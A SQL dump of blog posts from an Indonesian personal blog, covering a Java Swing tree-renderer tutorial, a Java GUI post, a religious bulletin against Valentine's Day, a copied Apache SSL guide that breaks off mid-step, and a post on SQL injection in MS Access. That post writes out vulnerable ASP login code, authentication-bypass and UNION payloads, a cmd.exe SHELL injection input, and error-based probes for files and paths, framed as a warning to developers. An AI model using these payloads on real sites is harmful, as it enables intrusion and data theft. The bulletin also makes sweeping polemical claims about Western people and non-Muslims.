= _leafOn;\r\n leafOff = _leafOff;\r\n nodeOn = _nodeOn;\r\n nodeOff = _nodeOff;\r\n }\r\n\r\n public Component getTreeCellRendererComponent(\r\n JTree tree,\r\n Object value,\r\n boolean sel,\r\n boolean expanded,\r\n boolean leaf,\r\n int row,\r\n boolean hasFocus) {\r\n\r\n super.getTreeCellRendererComponent(\r\n tree, value, sel,\r\n expanded, leaf, row,\r\n hasFocus);\r\n \r\n int i=0;\r\n \r\n if(expanded){\r\n if(i==1){\r\n setIcon(nodeOn);\r\n i=0;\r\n } else {\r\n setIcon(nodeOff);\r\n }\r\n } else if(leaf && isLeafOn(value)){\r\n setIcon(leafOff);\r\n setText(text+\" (Alarm Aktif)\");\r\n i=1;\r\n } else if(leaf) {\r\n setIcon(leafOn); \r\n } else {\r\n if(i==1){\r\n setIcon(nodeOn);\r\n i=0;\r\n } else {\r\n setIcon(nodeOff);\r\n }\r\n } \r\n return this;\r\n }\r\n\r\n//ini adalah waktu even Leaf\r\n protected boolean isLeafOn(Object value) {\r\n\r\n//ambil objectnya dari tree node \r\n DefaultMutableTreeNode node =(DefaultMutableTreeNode)value;\r\n ObjectTree nodeInfo = (ObjectTree)(node.getUserObject());\r\n String title = nodeInfo.nodeStatus;\r\n if (title.equals(\"0\")) {\r\n text = nodeInfo.nodeName; \r\n return true;\r\n } \r\n\r\n return false;\r\n }\r\n \r\n}\r\n[/code]\r\nNah setelah bikin kelas setting aja tampilan icon yang diingankan, misal icon kondisi ON or icon kondisi OFF baik untuk root nya maupun cabangnya.\r\n[code]\r\n public void setChangeTree(JTree tree){\r\n ImageIcon clientIcon = new ImageIcon(getClass().getResource(\"/ipalarmdesktop/images/ipalarm-24.png\"));\r\n ImageIcon clientIconOff = new ImageIcon(getClass().getResource(\"/ipalarmdesktop/images/Alert-24.png\"));\r\n ImageIcon nodeIcon = new ImageIcon(getClass().getResource(\"/ipalarmdesktop/images/monitor-24.png\"));\r\n \r\n \r\n // Update only one tree instance\r\n DefaultTreeCellRenderer renderer = (DefaultTreeCellRenderer)tree.getCellRenderer();\r\n \r\n if (clientIcon != null) {\r\n tree.setCellRenderer(new MyRenderer(clientIcon,clientIconOff,nodeIcon,nodeIcon));\r\n } else {\r\n System.err.println(\"Tutorial icon missing; using default.\");\r\n }\r\n \r\n // Create tree with new icons\r\n tree = new JTree(); \r\n }\r\n\r\nOK, sekarang tinggal tampilin deh..!\r\n DefaultMutableTreeNode root = new DefaultMutableTreeNode(\"Monitoring Jaringan IP Alarm\");\r\n createNode(root);\r\n DefaultTreeModel tree = new DefaultTreeModel(root);\r\n jTree1.setModel(tree);\r\n setChangeTree(jTree1); \r\n[/code]\r\nEit MAATT..!, kok ada \"createNode(root)\"..? Yuup itu seperti contoh di atasnya struktur treenya, klo tampilan diatas sudah ane hubungkan dengan webservice yang memonitoring langsung keadaan sensor. Nah nih gua bagi tips bikin Event Timer yang fungsinya digunakan untuk memanggil METHOD secara terus menerus dan boleh dicatat karena kita menggunakan \"import javax.swing.Timer\" maka timer ini udah mengandung Thread jadi gak ganggu proses yang lain, Mantap kan :).\r\n[code] \r\nAction testing = new AbstractAction() {\r\n boolean shouldDraw = false;\r\n public void actionPerformed(ActionEvent e) {\r\n if (shouldDraw = !shouldDraw) {\r\n jLStatus.setText(\"Status: mengambil data sensor\");\r\n DefaultMutableTreeNode root = new DefaultMutableTreeNode(\"Monitoring Jaringan IP Alarm\");\r\n createNode(root);\r\n DefaultTreeModel tree = new DefaultTreeModel(root);\r\n jTree1.setModel(tree);\r\n setChangeTree(jTree1);\r\n for(int i=0;i<jTree1.getRowCount();i++){\r\n jTree1.expandRow(i+1);\r\n }\r\n \r\n } else {\r\n jLStatus.setText(\"Status: Ok\");\r\n }\r\n }\r\n };\r\n\r\n new Timer(3000, testing).start();\r\n[/code]',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (66,'2007-12-08 12:24:35','Access SQL Injection','Access SQL Injection\r\n\r\nNothing new here, move along. Tidak ada yang baru sebenarnya haha tp gua mau sharing karena banyak situs yang menggunakan Ms Access sebagai databasenya terutama programer Malaysia dan Indonesia. Kenapa gua bahas ini, karena database Ms Access merupakan paling rawan dalam pencurian data. Si Hacker bisa menggunakan Sysntax SQL Error untuk mencari letak file Database Ms Access, cccc :D kemudian Download dah.\r\n\r\nBerikut adalah penjelasan step by step proses nya:\r\n\r\nPeru diketahuai MS Access mempunyai System Tables sebagai berikut, dan bila tabel ini ada permisionnya hehe berarti ada kurang beruntung gak bisa akses nih file. Dan memberikan permision pada user tertentu adalah salah satu cara untuk mengamankan.\r\n****************************************************************************\r\n% MS Access system tables\r\n****************************************************************************\r\n MSysACEs\r\n MSysObjects\r\n MSysQueries\r\n MSysRelationships\r\n\r\n\r\nIni dalah contoh script yang digunakan untuk login\r\n****************************************************************************\r\n% MS Access command execution, (older versions only) wek\'s JADUL\r\n****************************************************************************\r\n[Contoh Authentifikasi Script Login]\r\n\r\n user = request(\"user\")\r\n pass = request(\"pass\")\r\n Set Conn = Server.CreateObject(\"ADODB.Connection\")\r\n Set Rs = Server.CreateObject(\"ADODB.Recordset\")\r\n Conn.Open dsn\r\n SQL = \"SELECT * FROM users where pass=\'\"& pass &\"\' and user=\'\"& user & \"\'\"\r\n rs.open sql,conn\r\n if rs.eof and rs.bof then\r\n \' Access Denied\r\n else\r\n \' Access Allowed\r\n end if\r\n\r\n[Auth bisa di Bypass dengan cara berikut xixixi:D, hayo siapa yang pernah bikin script ini]\r\n\r\n user = |SHELL(\"cmd.exe /c dir > c:\\test.txt\")|\r\n pass = test\r\n\r\n\r\n****************************************************************************\r\n% Auth Bypass, Basic yang banyak digunakan orang, tp mudah2 enggak lagi. Kasih filter dong OM..!\r\n****************************************************************************\r\n[Auth Page Script]\r\n\r\n user = request(\"user\")\r\n pass = request(\"pass\")\r\n Set Conn = Server.CreateObject(\"ADODB.Connection\")\r\n Set Rs = Server.CreateObject(\"ADODB.Recordset\")\r\n Conn.Open dsn\r\n SQL = \"SELECT * FROM users where pass=\'\"& pass &\"\' and user=\'\"& user & \"\'\"\r\n rs.open sql,conn\r\n if rs.eof and rs.bof then\r\n \' Access Denied\r\n else\r\n \' Access Allowed\r\n end if\r\n\r\n[Auth Script untuk Bypass, masih banyak lho yang kayak gini wekekek]\r\n\r\n user = \' or \'1\'=\'1\r\n pass = test\r\n\r\n\r\n****************************************************************************\r\n% Auth Bypass, Simple\r\n****************************************************************************\r\n[Auth Page Script]\r\n\r\n user = request(\"user\")\r\n pass = request(\"pass\")\r\n Set Conn = Server.CreateObject(\"ADODB.Connection\")\r\n Set Rs = Server.CreateObject(\"ADODB.Recordset\")\r\n Conn.Open dsn\r\n SQL = \"SELECT user,pass FROM users where user=\'\"& user & \"\'\"\r\n rs.open sql,conn\r\n if rs.eof and rs.bof then\r\n \' Access Denied\r\n else\r\n if (rs(\"pass\") = pass) then\r\n \' Access Allowed\r\n else\r\n \' Access Denied\r\n end if\r\n end if\r\n\r\n[Auth bisa di Bypass dengan cara berikut untuk file share]\r\n\r\n user = \' union select name,password from table1 in \'\\\\share\\test\\test.mdb\r\n pass = password that is set in \\\\share\\test\\test.mdb\r\n\r\n[Auth bisa di Bypass dengan Local mdbs]\r\n\r\n user = \' union select \'0test\',\'0test\' from customers in\r\n\'C:\\winnt\\Help\\iisHelp\\iis\\htm\\tutorial\\eecustmr.mdb\'\r\n pass = 0test\r\n\r\n[Union Notes]\r\n\r\n Ingat jika menggunakan Unions, pengurutan data akan menyebabkan record pertama dikembalikan. Bingung gak penjelasannku klo bingung silahkan praktek biar dong. Oche :P\r\n\r\n****************************************************************************\r\n% System Path Yang tidak ditutup\r\n****************************************************************************\r\n[Sql String]\r\n user = test\' union select names from msysobjects in \'.\r\n\r\n[ODBC Response]\r\n\r\n Microsoft OLE DB Provider for ODBC Drivers (0x80004005)\r\n [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine\r\ncannot\r\n open the file \'C:\\WINNT\\system32\'. Hehe berarti ini dibuka secara exlusiv untuk user lain atau anda perlu permission untuk melihat data di database.\r\n\r\n\r\n****************************************************************************\r\n% Verify File jika File Ada\r\n****************************************************************************\r\n[Sql String - non-existant file]\r\n user = test\' union select name from msysobjects in \'\\proof\r\n\r\n[ODBC Response]\r\n Microsoft OLE DB Provider for ODBC Drivers (0x80004005)\r\n [Microsoft][ODBC Microsoft Access Driver] Could not find file \'C:\\proof\'.\r\n\r\n[Sql String - existant]\r\n user = test\' union select name from msysobjects in \'\\proof.txt\r\n\r\n[ODBC Response]\r\n Microsoft OLE DB Provider for ODBC Drivers (0x80004005)\r\n [Microsoft][ODBC Microsoft Access Driver] Unrecognized database format\r\n\'C:\\proof.txt\'.\r\n\r\n\r\n****************************************************************************\r\n% Verify Path yang Ada\r\n****************************************************************************\r\n[Sql String - non-existant path]\r\n test\' union select name from msysobjects in \'\\nopath\\sqlerr\r\n\r\n[ODBC Response]\r\n Microsoft OLE DB Provider for ODBC Drivers (0x80004005)\r\n [Microsoft][ODBC Microsoft Access Driver] \'C:\\nopath\\sqlerr\' is not a valid\r\npath.\r\n Make sure that the path name is spelled correctly and that you are\r\nconnected to the\r\n server on which the file resides.\r\n\r\n[Sql String - existant path]\r\n user = test\' union select name from msysobjects in \'\\inetpub\\sqlerr\r\n\r\n[ODBC Response]\r\n Microsoft OLE DB Provider for ODBC Drivers (0x80004005)\r\n [Microsoft][ODBC Microsoft Access Driver] Could not find file\r\n\'C:\\inetpub\\sqlerr\'. \r\n\r\nAkhir kata jika anda mendevelop menggunakan Ms Access atau apapun juga, cek inputannya. Di atas adalah celah yang sudah lama tp perlu anda ketahui ketika surfing dibeberapa situs pemerintahan Indonesia dan Malaysia, Weks ternyata masih ada Bug ini. Waduh apalagi ketika denger klo situs permerintah dibuat dengan duit dengan jumlah Milyaran, sedih. \r\n\r\nSalam dari Pemuda Generasi Bangsa.\r\nBeriman, No Anarki, No Tawuran, No KKN, and Peneror Kuruptor. cccc :D ',1,1,9);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (67,'2008-02-03 22:13:20','Bikin Extreme GUI di Java','Wah gak terasa dah 1 bulan gak nulis blog ini, hehe. Tapi makasih Banget nih Buat Departemen IT ternyata Domain q belum dihapus. Muach I Love you AMIKOM. hehe.1\r\nWew 1 bulan ini emang banyak banget kerjaan dan ILMU baru TENTUnya dan yang jelas gua konsen ngembangin di LINUX, sory ya buat pecinta Microsoft gua gak ngoprek dikau lagi.Hah Mulai dari Bikin Remote Sensor Keamanan, Voucher Billing System, Monitoring perangkat jaringan, dan masih banyak lagi. Hemm, yang jelas semua ilmuku kepakek semua haha, senengnya hatiku. Mulai dari Microcontroler dapet ilmu waktu kelas 1-3 di STM, NETWORKING dalemi LINUX waktu STM kelas 2, PROGRAMING STM kelas 3 dan di AMIKOM. Tapi yang paling mengesankan adalah waktu belajar di AMIKOM hihi, udah gua baca semua tuh bukunya di perpus, tapi klo yang bulan ini gak tau deh jarang lagi ke Perpus, sekarang lebih seneng lansung cari di Internet.\r\n\r\nOk, gak usah muluk-muluk langsung aja yuk, mari.\r\nPada dasarnya untuk programing EXTREME GUI di java yang perlu kita kuasai adalah programing Java 2D tapi klo pengen bikin efek 3D kamu harus pelajari juga java 3D. Disini aq gak akan bahas bagaimana cara buatnya tapi aq akan sharing masalah konsep, untuk bagaimana cara buatnya aq akan kasih URLnya ok. \r\n\r\nMungkin temen-teman semua dah liat Windows Media Player yang baru yang ciamik tampilannya, atau sering maen Game yang TOmbolnya bentuknya aneh-aneh hehe. Itu kita bisa bikin dengan Mudah di JAVA, tapi dengan catatan hehe masih tetep pakek coding. Kemarin pas di Departement IT dapet kesempatan ikut workshop di UGM, nah ada dari temen ICT yang memperkenalkan .NET ver 3 yang udah bisa seperti itu, kita bisa bikin tombol bentuk segetiga dengan cara gambar kayak di Photoshop, tapi .NET framework 3 ini masih dikembangkan oleh Microsoft. \r\n\r\nUntuk bikin tampilan ETREME GUI di java gak susah-susah amat kok, apalagi klo kita dah paham konsep OOP weh coding seperti ngetik cerita aja hihi. Intinya kita akan bikin dulu frame atau bentuk tombolnya dengan java 2D kemudian agar gambar tadi dianggap tombol maka kita tinggal extends aja object TOMBOL, eit jadilah gambar yang kita buat di class Java 2D menjadi tombol. Yang lebih menariknya Setiap komponen yang ada dijava baik SWING atau AWT bisa kita render ulang pakek Java 2D. Weh senengnya akhirnya aq bisa bikin tampilan program kayak di GAME dan bikin komponen dengan bentuk graphic suka-suka gue. hehe. \r\n\r\nOke sekarang waktunya untuk sharing artikel buat cara bikinnya, gua dapet dari Blognya Mr. Scott Violet <a href=\"http://weblogs.java.net/blog/zixle/archive/2006/11/extreme_gui_mak.html\" target=\"_blank\">http://weblogs.java.net/blog/zixle/archive/2006/11/extreme_gui_mak.html</a>. Mr. Scott, adalah team dari SUN, yang konsen di Swing Labs. Di blognya dijelasin bagaimana cara bikin mulai dasar sampek mahir. Contoh codenya dan presentasi saat workshop juga free akses. jadi Tinggal kita aja mau belajar atau enggak. \r\n\r\n',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (68,'2008-02-16 15:29:06','Valentine’s Day Itu Bualan!','Buletin Gaul Islam\r\n11 Februari 2008 - 10:13\r\nValentine’s Day Itu Bualan! \r\ngaulislam edisi 016/tahun I (4 Shafar 1429 H/11 Februari 2008)\r\n \r\n\r\nIf there were no words…no way to speak\r\nI would still hear you\r\nIf there were no tears\r\nNo way to feel inside, I’d still feel for you\r\n\r\nAnd even if the sun refused to shine\r\nEven if romance ran out of rhyme\r\nYou would still have my heart until the end of time\r\nYou’re all I need, my love, my Valentine\r\n\r\nPernah mendengar lantunan lagu dari lirik di atas? Yup, itu adalah penggalan lagu wajib bulan Februari yang berjudul Valentine. Dengan suara merdu Martina McBride diiringi lantunan piano ciamik dari Jim Brickman, lengkap sudah nuansa syahdu yang dihadirkannya. Apalagi kalo kamu lagi poling in lop (falling in love), huaaa….suasana Februari yang mellow jadi semakin biru…. (eh, pink kali yee..).\r\n\r\nKehebohan Valentine’s Day (VD) sebagai sebuah perayaan hampir-hampir menjadi menu wajib dan menggantikan hari besar lainnya. Coba bandingkan peringatan Isra’ Mi’raj, dan Maulid Nabi dengan Valentine’s Day. Jauh banget dah. Peringatan hari besar Islam identik dengan ceramah, dihadiri oleh sosok berjenggot dan perempuan berjilbab, dan dirayakan secara sederhana. Itu semua bagi sebagian orang dianggap sebagai simbol kuno.\r\n\r\nSebaliknya dengan perayaan VD yang identik dengan pesta sambil membawa pasangan lawan jenis masing-masing, baju rapi jali bagi yang cowok dan gaun malam yang setengah telanjang bagi si cewek, dan perayaan secara mewah. Inilah simbol yang katanya modern yang banyak diikuti remaja.\r\nAnak SD, SMP, SMA, hingga kuliah bahkan yang sudah kerja pun merasa bahwa merayakan hari Valentine adalah wajib. Didorong oleh media baik elektronik semacam TV dan cetak semisal surat kabar, majalah dan tabloid, momen Valentine’s Day ini sengaja di blow-up oleh pihak-pihak tertentu. Seakan-akan ada rasa malu dan ketinggalan jaman bila sampai tidak ikut merayakan hari yang katanya penanda kasih sayang itu.\r\n\r\nValentine, bukan budaya kita\r\nSudah banyak tulisan yang membahas tentang hal ini. Kalo kamu rajin browsing internet dan banyak baca artikel di sana, akan terlihat bahwa Valentine bukanlah milik kita. Sedikit mengulas bahwa ada beberapa versi yang menyebutkan darimana asal muasal perayaan VD ini. Ada versi yang mengatakan bahwa hari Valentine adalah perayaan untuk mengenang pendeta Valentino yang mati karena membela keyakinannya. Ada juga yang bilang pendeta ini mati karena membela cinta dua jenis anak manusia padahal gereja telah melarangnya. Bahkan ada versi yang mengatakan bahwa pada tanggal14 Februari ini adalah musim kawin sejenis burung tertentu. (lengkapnya silakan lihat di Microsoft Student with Encarta Premium 2008)\r\n\r\nDari sekilas penjelasan di atas, kamu-kamu jadi ngeh kan bahwa sesungguhnya budaya hari Valentine dan merayakannya bukan berasal dari Islam.\r\n‘Kan boleh, cuma sekadar ikut merayakan saja. Bukankah ini hari kasih sayang sedunia yang universal?’ Mungkin sebagian dari kamu berdalih begitu.\r\nOke, tapi bagi kaum muslimin, kita udah diwanti-wanti sama Allah Swt. melalui firmanNya:\r\n\r\n????? ?????? ??? ?????? ???? ???? ?????? ????? ????????? ??????????? ???????????? ????? ????????? ????? ?????? ??????????\r\n\r\n“Dan janganlah kamu mengikuti apa yang kamu tidak mempunyai pengetahuan tentangnya. Sesungguhnya pendengaran, penglihatan dan hati, semuanya itu akan diminta pertanggungan jawabnya.” (QS al-Israa [17]: 36)\r\n\r\nNah, inilah uniknya Islam. Tidak ada yang namanya sekadar ikut, cuma ngikut atau ikut-ikutan saja. Sebelum melakukan suatu perbuatan, sebagai muslim, kita harus paham apa dan bagaimana Islam menyikapinya. Ini mendidik kamu, para remaja muslim, agar tidak menjadi generasi pembebek. Generasi yang bisanya cuma ikut-ikutan tanpa tahu ilmunya. Islam mengajak kamu untuk cerdas dalam menyikapi sesuatu.\r\n\r\nTidak ada kata “cuma” dalam kehidupan seorang muslim. Itu karena tiap perbuatan meskipun itu sebesar debu akan dimintai pertanggungjawaban di akhirat kelak. Begitu juga dengan perayaan Valentine. Banyak orang berdalih untuk membenarkan dirinya sendiri ketika ia turut larut dalam perayaan ini. Atau, meskipun ia tidak turut merayakan, tapi ia juga tidak melarang. Walah, ragu-ragu maksudnya? Begitulah, di satu sisi orang seperti ini takut dicap fanatik, tapi di sisi lain ia juga takut dianggap ketinggalan jaman. Jadilah, antara bilang iya dan tidak dalam penyikapannya.\r\n\r\nValentine, sarana perusak generasi\r\nRasulullah saw. Bersabda: Kamu telah mengikuti sunnah orang-orang sebelum kamu sejengkal demi sejengkal, sehasta demi sehasta. Sehingga jika mereka masuk ke dalam lubang biawak, kamu tetap mengikuti mereka. Kami bertanya: Wahai Rasulullah, apakah yang engkau maksudkan itu adalah orang-orang Yahudi dan orang-orang Nasrani? Baginda bersabda: Kalau bukan mereka, siapa lagi? (HR. Bukhari Muslim)\r\n\r\nBukan karena Rasulullah pinter meramal ketika apa yang dikatakan beliau ternyata benar adanya. Tapi karena beliau khawatir terhadap kebodohan umat yang semakin meluas. Kebodohan inilah yang menjadi penyebab kaum muslim yang seharusnya sebagai umat terbaik, malah menjadi umat pengekor. Dan ternyata, semua itu menjadi kenyataan ketika kita melihat kelakuan remaja-remaja sekarang yang bisanya cuma mengikut budaya Barat.\r\n\r\nEmang sih, nggak semua yang berasal dari Barat itu buruk. Tapi dalam hal perayaan hari Valentine ini jelas-jelas buruk dan merusak generasi muda. How? Pertama, mulai dari asal muasalnya aja udah jelas-jelas nggak benar menurut pandangan Islam untuk ikut merayakan. Kedua, yang namanya merayakan Valentine, umumnya sama pasangan alias kekasih atau pacar. Ketiga, kalo udah mulai urusan pacar-pacaran begini, mau dibawa kemana hubungan dua anak manusia berlainan jenis kelamin ini? Gaul bebas? Sangat mungkin!\r\n\r\nSee, nggak kekurangan cara musuh Islam untuk merusak kaum muslimin termasuk generasi mudanya. Seiring dengan semakin bebasnya teknologi informasi berupa alat telekomunikasi, budaya merayakan Valentine ini dengan mudah masuk ke kamar-kamar kita. Bisa lewat surat kabar, majalah remaja, radio, TV, internet, HP, dll.\r\n\r\nBo’ong besar kalo ada yang bilang bahwa Valentine adalah hari kasih sayang. Kalo memang seperti itu, kenapa juga yang dijadikan sasaran adalah anak-anak muda? Kenapa bukan ibu-bapak kita, kakek-nenek kita? Soalnya jauh lebih strategis merusak generasi yang bakal menjadi penerus peradaban alias pemuda. Kalo pemudanya rusak, ho ho ho, mudah banget merusak sendi lainnya. Betul itu.\r\n\r\nValentine, wajah buruk budaya Barat\r\nValentine’s Day diyakini sebagai hari kasih sayang. Ah, masa’ iya sih? Jangan mudah kamu dibodohi oleh slogan semacam ini. Why? Karena kalo beneran mereka yang suka menjajakan Valentine itu memang merayakan kasih sayang, tanya buktinya. Angka perceraian tinggi, anak-anak menjadi rusak karena brokenhome, prostitusi merajalela bahkan disahkan oleh negara, aborsi juga legal, para orang tua ditelantarkan di panti jompo dll. Inikah kasih sayang yang bisa dicontohkan oleh mereka?\r\n\r\nLalu sekarang coba tengok ke arah Timur. Irak hancur lebur, muslimahnya jadi korban perkosaan para tentara Barat, anak-anak kecil dan orangtua serta warga sipil dibantai tanpa ampun, negerinya dijajah dan porak-poranda. Belum lagi Afghanistan, Bosnia, Chechnya, bahkan Indonesia. Semuanya dijajah. Bila tidak secara fisik, pastilah secara ekonomi dengan hutang yang diwariskan pada anak cucu kita. Secara budaya, salah satunya adalah memaksakan perayaan Valentine ini ke generasi muda kita. Waspadalah! Waspadalah!\r\n\r\nPheww….ternyata jauh banget ya kenyataan dengan syahdunya lirik lagu di atas? Jaka sembung bawa kebo, nggak nyambung bo’.\r\nMasa’ iya sih, setelah tahu hakikat asli wajah buruk di balik Valentine, kamu masih suka-cita menyambutnya? Nyadar euy!\r\nValentine itu hanya sebuah momen bagi para kapitalis yang mata duitan untuk menangguk untung sebanyak-banyaknya. Coklat, boneka, dan bunga jadi laris manis. Begitu juga dengan kartu sok romantis padahal aslinya cuma pingin mendapat kecup manis dari sang gebetan. Walah, naudzubillah banget.\r\n\r\nCampakkan Valentine!\r\nYo’i, saatnya kita mencampakkan budaya yang jelas-jelas nggak memberi manfaat apa pun pada kita, kaum muslimin. Kalo hanya dengan alasan kasih sayang, Islam adalah sumber dan muara kasih sayang itu sendiri. Mulai dari haramnya aborsi karena setiap anak punya hak hidup, naluri sayang seorang ibu juga dijaga agar tidak dirusak oleh paham atas nama kebebasan. Begitu juga dengan penghargaaan seorang anak yang tinggi untuk menghormati ibu dan bapaknya. Nggak ada konsep penitipan panti jompo dalam Islam. Toh, betapa pun tuanya orangtua kita, merekalah yang dulu pernah melahirkan dan membesarkan kita dengan kasih sayang. Tul kan?\r\n\r\nHubungan laki-laki dan perempuan bila ingin berkasih-sayang, ada sarananya. Pernikahan. Di sinilah satu sama lain diajari untuk mengenal kasih-sayang sejati yang diikuti tanggung jawab. Bukan hanya bisa memberi bunga, coklat dan boneka tanpa berani berkomitmen dan maunya sekadar pacaran mulu. Tapi Islam mengajarkan cowok untuk jadi laki-laki sejati, begitu dengan para cewek. Jangan mau digombali hanya dengan rayuan tak bermutu.\r\n\r\nBukan hanya dengan sesama manusia, kasih sayang dianjurkan oleh Islam untuk diberikan juga pada makhluk lainnya semisal hewan, tumbuhan dan lingkungan. Hewan boleh disembelih sewajarnya untuk kebutuhan umat manusia. Tidak boleh menyiksa apalagi menyakitinya. Jangan malah kebalik. Banyak orang kafir itu yang tidak mau menyakiti binatang, tapi malah hobi membantai umat manusia terutama kaum muslimin.\r\n\r\nTumbuhan juga harus diperlakukan dengan seharusnya. Tidak boleh ada eksploitasi hutan demi memuaskan nafsu para kapitalis yang haus duit.\r\nMereka yang suka gembar-gembor Valentine’s Day dan kasih sayang, malah mereka juga yang enggan untuk melindungi dan menyayangi bumi. Contohnya Amerika tuh yang menolak peduli terhadap efek global warming atau pemanasan global. Ozon yang semakin menipis karena efek rumah kaca, toh itu juga banyak berasal dari negaranya yang penuh dengan gedung bertingkat dan pemakaian freon secara berlebihan.\r\n\r\nKalau sudah begini, kamu masih percaya dengan Valentine’s Day adalah hari kasih sayang? Universal pula? Naif banget kalo iya. Moga aja dengan artikel sederhana ini kamu tersadar akan bualan nggak bermutu tentang makna kasih sayang. Cukup Islam saja sebagai tolok ukur dalam seluruh perbuatan kita. Insya Allah pasti selamat dunia-akhirat. Dijamin!\r\n\r\nSo, mari kita campakkan Valentine dan ambil Islam saja sebagai the way of life yang penuh kasih sayang. Yuk, kaji Islam biar cerdas dan takwa, [ria: riafariana@yahoo.com',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (69,'2008-02-16 15:31:53','Enabling SSL on Apache \"Bikin Https sendiri\"','8. Enabling SSL on Apache\r\n\r\nA lot of people think that SSL is something that \"automagically\" protects your server. Some people expect a login prompt when a server is configured for SSL operation. SSL is more complex than that, and if you are one of these people, please refer to the links in the References section before continuing.\r\n\r\nGetting SSL to work on Apache is surprisingly easy for the Apache RPM packages because of the supplied scripts. I will not be covering the theory behind SSL and web server security in this document. Instead, I will merely give the steps I took to get SSL installed and working for my Apache installation.\r\n\r\nBut first, let me explain the scenario I will be covering :\r\n\r\nThere are actually several different ways SSL can be configured. You could order and pay for a CA certificate, server certificate and server private key from a trusted CA (Certificate Authority) institution, such as Verisign. If you do not want to spend the money, you could set yourself up as a Certificate Authority. (Note : If you do not understand what certificates are, and how they relate to SSL, I strongly recommend that you read the links in the References section) If you are going to be running a public website, it would be a good idea to purchase your certificates from Verisign, especially if you are handling transactions. If you are running a private intranet or extranet server, you could get by with just setting yourself up as a CA, but you really should consider the Verisign option.\r\n\r\nFor this section, I shall be setting myself up as a Certificate Authority (CA), and generating my own server key and certificate.\r\n\r\n 1.Ensure that all necessary components are installed\r\n 2.Edit or create an OpenSSL template\r\n 3.Create a new CA certificate\r\n 4.Create a Certificate Signing Request (CSR)\r\n 5.Sign the CSR\r\n 6.Store certificates in a directory\r\n 7.Edit ssl.conf\r\n 8.Test SSL\r\n 9.Disabling the passphrase on startup (Optional)\r\n\r\n8.1. Ensure that all necessary components are installed\r\n\r\nYou will need the following components installed along with your base Apache RPM packages\r\n\r\n * mod_ssl-2.0.48-1.2\r\n * openssl-0.9.7a-23\r\n * openssl-devel-0.9.7a-23\r\n\r\n\r\n8.2. Edit or create an OpenSSL template\r\n\r\nLook inside the directory /usr/share/ssl/ for a file named openssl.cnf and open it in your favorite editor. You will need to look for and change the following values in the file:\r\n\r\ncountryName_default: put the name of your country\r\n\r\nstateOrProvinceName_default: put the name of your state or province\r\n\r\nlocalityName_default: put the name of your locality (street? region?)\r\n\r\n0.organizationName_default: put the default organization name\r\n\r\norganizationalUnitName_default: put your organization unit (OU) name\r\n\r\nYou don\'t actually need to do the above step, but it can be very useful later on, when you are generating your certificates, because you have already setup your defaults here.\r\n\r\n\r\n8.3. Create a new CA certificate\r\n\r\nThere is a supplied CA script inside the directory /usr/share/ssl/misc/ that you can use to generate your certificate. To begin generating your certificate, simply execute the following commands:\r\n\r\n[root@localhost root]# cd /usr/share/ssl/misc\r\n[root@localhost misc]# ./CA -newca\r\n\r\nPress ENTER to create the new certificate and you will be prompted to key-in a passphrase. You will need to use this passphrase later, so you should remember what you keyed in here. Then you will be prompted for the particulars of your organization, etc. If you edited the openssl.cnf file properly in the previous step, you should be able to just hit ENTER for all the options except your server host name. A sample session is shown below. In this session, I am generating a CA certificate for my local Fedora Core 1 workstation:\r\n\r\n[root@localhost misc]# ./CA -newca\r\nCA certificate filename (or enter to create)\r\n\r\nMaking CA certificate ...\r\nGenerating a 1024 bit RSA private key\r\n..++++++\r\n............++++++\r\nwriting new private key to \'./demoCA/private/./cakey.pem\'\r\nEnter PEM pass phrase:\r\nVerifying - Enter PEM pass phrase:\r\n-----\r\nYou are about to be asked to enter information that will be incorporated\r\ninto your certificate request.\r\nWhat you are about to enter is what is called a Distinguished Name or a DN.\r\nThere are quite a few fields but you can leave some blank\r\nFor some fields there will be a default value,\r\nIf you enter \'.\', the field will be left blank.\r\n-----\r\nCountry Name (2 letter code) [SG]:\r\nState or Province Name (full name) [Singapore]:\r\nLocality Name (eg, city) [Singapore]:\r\nOrganization Name (eg, company) [Cymulacrum, Pte Ltd]:\r\nOrganizational Unit Name (eg, section) []:\r\nCommon Name (eg, your name or your server\'s hostname) []: localhost.localdomain\r\nEmail Address []: someone@somedomain.com\r\n\r\n\r\n\r\n8.4. Create a Certificate Signing Request (CSR)\r\n\r\nTo create a CSR, we will use the same CA script, but with a different switch.\r\n\r\n[root@localhost misc]# ./CA -newreq\r\nGenerating a 1024 bit RSA private key\r\n...++++++\r\n................++++++\r\nwriting new private key to \'newreq.pem\'\r\nEnter PEM pass phrase:\r\nVerifying - Enter PEM pass phrase:\r\n-----\r\nYou are about to be asked to enter information that will be incorporated\r\ninto your certificate request.\r\nWhat you are about to enter is what is called a Distinguished Name or a DN.\r\nThere are quite a few fields but you can leave some blank\r\nFor some fields there will be a default value,\r\nIf you enter \'.\', the field will be left blank.\r\n-----\r\nCountry Name (2 letter code) [SG]:\r\nState or Province Name (full name) [Singapore]:\r\nLocality Name (eg, city) [Singapore]:\r\nOrganization Name (eg, company) [Cymulacrum, Pte Ltd]:\r\nOrganizational Unit Name (eg, section) []:\r\nCommon Name (eg, your name or your server\'s hostname) []: localhost.localdomain\r\nEmail Address []: someone@somedomain.com\r\n\r\nYou see how useful creating or editing the template file is ? If you did not set the defaults, you\'d have to key in the same information all over again.\r\n\r\nYou will be prompted for extra attributes, a challenge password and an optional company name. If you don\'t need any of this, you can safely ignore these messages and just hit ENTER.\r\n\r\nPlease enter the following \'extra\' attributes\r\nto be sent with your certificate request\r\nA challenge password []:\r\nAn optional company name []:\r\nRequest (and private key) is in newreq.pem\r\n\r\nNote the last line, which states that your CSR has been created, and is called newreq.pem in the current directory.\r\n\r\n\r\n\r\n8.5. Sign the CSR\r\n\r\nIf you have gotten this far without any errors, you can now sign the CSR. To do that, we will use the CA script again, but, again, with a different switch.\r\n\r\n[root@localhost misc]# ./CA -sign\r\n\r\nYou will be prompted for your passphrase, and then information about your certificate will spew out on the screen. You should see something like what is shown below. I have omitted some information that comes up after the particulars of your organization.\r\n\r\nUsing configuration from /usr/share/ssl/openssl.cnf\r\nEnter pass phrase 